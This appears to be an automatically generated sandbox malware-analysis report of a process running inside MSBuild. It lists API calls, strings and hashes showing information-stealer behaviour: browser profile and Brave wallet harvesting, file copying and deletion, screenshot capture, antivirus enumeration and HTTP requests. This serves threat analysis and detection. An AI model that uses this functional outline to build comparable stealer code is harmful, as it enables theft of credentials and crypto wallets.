_memset.LIBCMT ref: 00414ED4
lstrcatA.KERNEL32(?,?), ref: 00414EE9
strtok_s.MSVCRT ref: 00414F02
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414F17
DeleteFileA.KERNEL32(?,00436A30,0043661D), ref: 00414FD0
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FE0

Part of subcall function 0041213B: CreateFileA.KERNEL32(OA,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FEC,?), ref: 00412156

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FF6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00415001
strtok_s.MSVCRT ref: 00415027
FindNextFileA.KERNELBASE(?,?), ref: 00415145
FindClose.KERNEL32(?), ref: 00415165

Strings

%s\%s, xrefs: 00414DFC
%s\*.*, xrefs: 00414D50
%s\%s, xrefs: 00414E50
%s\%s\%s, xrefs: 00414E39

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 044d4b6d793c747a03c4e4ceb555f38b31337ca42283ef45f1dc0248f74f94ca
Instruction ID: f4792fa2e0de24f4310c615b8eacfa361ff41c750a784f4b7fd7b6058ad2a589
Opcode Fuzzy Hash: 044d4b6d793c747a03c4e4ceb555f38b31337ca42283ef45f1dc0248f74f94ca
Instruction Fuzzy Hash: 5EC12AB1D0021AABCF22EF60DC45AEA777DAB48304F4140A6FA09B3151DB799F858F59

Function 00409CF1 Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,0043731C,004367EE,?,?,?), ref: 00409D9B
StrCmpCA.SHLWAPI(?,00437320), ref: 00409DBC
StrCmpCA.SHLWAPI(?,00437324), ref: 00409DD6

Part of subcall function 0041051E: lstrlenA.KERNEL32(?,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410524
Part of subcall function 0041051E: lstrcpyA.KERNEL32(00000000,00000000,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410556

StrCmpCA.SHLWAPI(?,Opera GX,00437328,?,004367F3), ref: 00409E68
StrCmpCA.SHLWAPI(?,Brave,00437348,0043734C,00437328,?,004367F3), ref: 00409FEA
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A004
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0C4
DeleteFileA.KERNEL32(?), ref: 0040A193
StrCmpCA.SHLWAPI(?), ref: 0040A1D1
StrCmpCA.SHLWAPI(?), ref: 0040A23B
StrCmpCA.SHLWAPI(0040CCBE), ref: 0040A24E

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

StrCmpCA.SHLWAPI(?), ref: 0040A331
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A3F1
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A496
DeleteFileA.KERNEL32(?), ref: 0040A4F7

Part of subcall function 00408DAC: lstrlenA.KERNEL32(?), ref: 00408FA5
Part of subcall function 00408DAC: lstrlenA.KERNEL32(?), ref: 00408FC0

Part of subcall function 0040951A: lstrlenA.KERNEL32(?), ref: 00409943
Part of subcall function 0040951A: lstrlenA.KERNEL32(?), ref: 0040995E

StrCmpCA.SHLWAPI(?), ref: 0040A528
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A5E8
DeleteFileA.KERNEL32(?), ref: 0040A67F

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

FindNextFileA.KERNEL32(?,?), ref: 0040A743
FindClose.KERNEL32(?), ref: 0040A757

Strings

Google Chrome, xrefs: 0040A48E
Brave, xrefs: 00409FE2
Opera GX, xrefs: 00409E60
Preferences, xrefs: 00409FF8
\BraveWallet\Preferences, xrefs: 0040A0DA

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: e8635bd8363d41b1082a31a401baa697065fc449502877a019cbf08002c8d1f9
Instruction ID: 75dad56e9d8fee0ead2f570547e4dadea0663225d1755eb7d3239ac7f3b3eaf4
Opcode Fuzzy Hash: e8635bd8363d41b1082a31a401baa697065fc449502877a019cbf08002c8d1f9
Instruction Fuzzy Hash: 3A421D319002299BCF21FB25DD46BCD7775AF04308F4101AAB948B31A1DBB99ED99F89

Function 6CB535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CBDF688,00001000), ref: 6CB535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CB535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB5363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB5369F
__aulldiv.LIBCMT ref: 6CB536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CB53773
EnterCriticalSection.KERNEL32(6CBDF688), ref: 6CB5377E
LeaveCriticalSection.KERNEL32(6CBDF688), ref: 6CB537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CB537C4
EnterCriticalSection.KERNEL32(6CBDF688), ref: 6CB537CB
LeaveCriticalSection.KERNEL32(6CBDF688), ref: 6CB53801
__aulldiv.LIBCMT ref: 6CB53883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CB53902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CB53918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CB5394C

Strings

GenuntelineI, xrefs: 6CB53639
QPC, xrefs: 6CB538FC
MOZ_TIMESTAMP_MODE, xrefs: 6CB535DB
GTC, xrefs: 6CB53912
AuthcAMDenti, xrefs: 6CB53946

Memory Dump Source

Source File: 00000001.00000002.2257496235.000000006CB51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB50000, based on PE: true

Associated: 00000001.00000002.2257464628.000000006CB50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2257843409.000000006CBCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2257991076.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2258061368.000000006CBE2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb50000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 166428ac47a90bc3d177302e606b1839fd5f80be6c07ba435c49cd6f9f2764e9
Instruction ID: d9c18a0e8ad35b001d0fddf37004aea6b627f0173966ceeb81ab5879b817a89c
Opcode Fuzzy Hash: 166428ac47a90bc3d177302e606b1839fd5f80be6c07ba435c49cd6f9f2764e9
Instruction Fuzzy Hash: 6CB182B5B093909FDB08DF28C86461ABBF5EB8A714F05892DF899D3790D770B901CB91

Function 00416013 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041605A
FindFirstFileA.KERNEL32(?,?), ref: 00416071
StrCmpCA.SHLWAPI(?,00436ABC), ref: 00416092
StrCmpCA.SHLWAPI(?,00436AC0), ref: 004160AC
wsprintfA.USER32 ref: 004160D3
StrCmpCA.SHLWAPI(?,00436647), ref: 004160E7
wsprintfA.USER32 ref: 00416104
wsprintfA.USER32 ref: 0041611B
PathMatchSpecA.SHLWAPI(?,?), ref: 00416131
lstrcatA.KERNEL32(?), ref: 00416167
lstrcatA.KERNEL32(?,00436AD8), ref: 00416179
lstrcatA.KERNEL32(?,?), ref: 0041618C
lstrcatA.KERNEL32(?,00436ADC), ref: 0041619E
lstrcatA.KERNEL32(?,?), ref: 004161B2
CopyFileA.KERNEL32(?,?,00000001), ref: 0041626B
DeleteFileA.KERNEL32(?), ref: 004162DF
FindNextFileA.KERNEL32(?,?), ref: 00416341
FindClose.KERNEL32(?), ref: 00416355

Strings

%s\*, xrefs: 0041604E
%s\%s, xrefs: 004160CD
%s\%s, xrefs: 00416115

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 0e600d5047ff4d344f6647d74033c88bc6cdbfcf0d3c4df937dfa9cd080451e6
Instruction ID: 79d1f29ff45b39a2e643b57e08e106806d5cc21b67f0aeab8a21c1051b1a5e81
Opcode Fuzzy Hash: 0e600d5047ff4d344f6647d74033c88bc6cdbfcf0d3c4df937dfa9cd080451e6
Instruction Fuzzy Hash: 38813771D0022DABCF20EB61DC49AC977B9BF08305F0190EAE549A3151DF79ABC98F94

Function 00411F2A Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F6B
GetDesktopWindow.USER32 ref: 00411F79
GetWindowRect.USER32(00000000,?), ref: 00411F86
GetDC.USER32(00000000), ref: 00411F8D
CreateCompatibleDC.GDI32(00000000), ref: 00411F96
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FA6
SelectObject.GDI32(?,00000000), ref: 00411FB3
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FCF
GetHGlobalFromStream.COMBASE(?,?), ref: 0041201E
GlobalLock.KERNEL32(?), ref: 00412027
GlobalSize.KERNEL32(?), ref: 00412033

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436976,0043695B,00436957,0043694B), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 00412091
DeleteObject.GDI32(?), ref: 004120AC
DeleteObject.GDI32(?), ref: 004120B5
ReleaseDC.USER32(00000000,00000000), ref: 004120BD
CloseWindow.USER32(00000000), ref: 004120C4

Strings

S|A, xrefs: 004120D2

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID: S|A
API String ID: 2610876673-334106119
Opcode ID: 980765410d643f480cd54b618d10175802e96dbcf96caac3d73940273838e7b7
Instruction ID: 3d5e95dc3a9def40e4f53fb22429b7798ee419803b96b06a4ce8578454b2d249
Opcode Fuzzy Hash: 980765410d643f480cd54b618d10175802e96dbcf96caac3d73940273838e7b7
Instruction Fuzzy Hash: 1151F672800208AFDF15EFA1ED499EEBF7AFF08315F045126FA05E2120D7359A95DB61

Function 0041C603 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C92E
/, xrefs: 0041C6B6

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 9d589ce077f64400bedb7fb22e2da5ebe23a8e2d5892894179c18efc01208e83
Instruction ID: 516228580ed08042d8870343235722f08fed0f414f2ef24f8f764d0f61e269e7
Opcode Fuzzy Hash: 9d589ce077f64400bedb7fb22e2da5ebe23a8e2d5892894179c18efc01208e83
Instruction Fuzzy Hash: AE027DB19442688BDF21DF68CC807EEBBB5AF45304F0444EAD949A7242D7389EC5CF99

Function 00406963 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Strings

@iA, xrefs: 00406976
GET, xrefs: 00406A42
ERROR, xrefs: 00406BAB
ERROR, xrefs: 00406AB6

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: @iA$ERROR$ERROR$GET
API String ID: 3863758870-3546687611
Opcode ID: 4259de1d54f0bc04615017c30821920a739c43fd75e421c8ed8dd8244f809a90
Instruction ID: ef172601904a3a7ca93e7681dc83e5257d06185729263716e5f85be6783c8942
Opcode Fuzzy Hash: 4259de1d54f0bc04615017c30821920a739c43fd75e421c8ed8dd8244f809a90
Instruction Fuzzy Hash: BA51A0B1A00269AFDF20AF20DC85AEEB7B9FB04344F0181F6F549B2191CA755EC59F84

Function 0041196C Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00411973
CoInitializeEx.OLE32(00000000,00000000,00000030,00413FA7,?,AV: ,004368CC,Install Date: ,004368B8,00000000,Windows: ,004368A8,Work Dir: In memory,00436890), ref: 00411982
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411993
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119AD
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004119E3
VariantInit.OLEAUT32(?), ref: 00411A32

Part of subcall function 00411D17: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A55,?), ref: 00411D1F
Part of subcall function 00411D17: CharToOemW.USER32(?,00000000), ref: 00411D2B

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

VariantClear.OLEAUT32(?), ref: 00411A60

Strings

root\SecurityCenter2, xrefs: 004119C5
Unknown, xrefs: 00411A89
WQL, xrefs: 004119FD
Select * From AntiVirusProduct, xrefs: 004119F8
Unknown, xrefs: 00411A6E
Unknown, xrefs: 00411A75
displayName, xrefs: 00411A44

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 880e3c2cd8f1c0728c4455d015b4fe117c86c60a485dab9625a348f0709e0780
Instruction ID: d1800e6a3f5e87e096ab3541814be36dedfffd727dbdbed4cda2aaabcb688f62
Opcode Fuzzy Hash: 880e3c2cd8f1c0728c4455d015b4fe117c86c60a485dab9625a348f0709e0780
Instruction Fuzzy Hash: B6314371A40209BBCB20DB91DC49EDFBF7DEFC9B10F20525AF211A61A0C6795941CB28

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

FindFirstFileA.KERNEL32(?,?,0043AA58,0043AA5C,004369EE,004369EB,00417A94,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA60), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA64), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA68,0043AA6C,?,0043AA70,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00417023: Sleep.KERNEL32(000003E8,?,?), ref: 0041708A

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00411D67: GetFileAttributesA.KERNEL32(?,?,?,0040DA54,?,?,?), ref: 00411D6E

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
